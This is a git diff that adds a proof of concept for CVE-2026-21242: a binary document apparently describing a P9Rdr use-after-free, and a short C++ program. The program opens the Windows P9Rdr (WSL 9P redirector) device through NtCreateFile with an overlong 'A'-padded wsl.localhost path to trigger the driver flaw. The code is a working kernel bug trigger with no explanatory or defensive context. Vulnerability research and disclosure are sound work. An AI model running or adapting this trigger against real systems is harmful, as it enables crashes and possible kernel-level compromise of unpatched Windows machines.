diff --git a/CVE-2026-21242/P9Rdr_UAF2.docx b/CVE-2026-21242/P9Rdr_UAF2.docx
new file mode 100644
index 0000000..546cfeb
Binary files /dev/null and b/CVE-2026-21242/P9Rdr_UAF2.docx differ
diff --git a/CVE-2026-21242/P9rdrTest2.cpp b/CVE-2026-21242/P9rdrTest2.cpp
new file mode 100644
index 0000000..a74bb97
--- /dev/null
+++ b/CVE-2026-21242/P9rdrTest2.cpp
@@ -0,0 +1,36 @@
+
+
+#include <iostream>
+#include <Windows.h>
+
+#include "ntdll.h"
+#pragma comment(lib, "ntdll")
+
+
+
+HANDLE OpenDevice() {
+    HANDLE hDevice = NULL;
+   
+    PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd";
+    UNICODE_STRING usName = { 0 };
+
+    RtlInitUnicodeString(&usName, (PWSTR)lpcwName);
+
+    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
+    InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
+    IO_STATUS_BLOCK IoStatusBlock = { 0 };
+
+    NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0,
+        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
+
+    printf("OpenDevice Status=0x%x\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, hDevice, GetLastError(), IoStatusBlock.Information);
+
+    return hDevice;
+}
+
+
+int wmain(int argc, WCHAR* argv[])
+{
+    OpenDevice();
+    return 0;
+}
\ No newline at end of file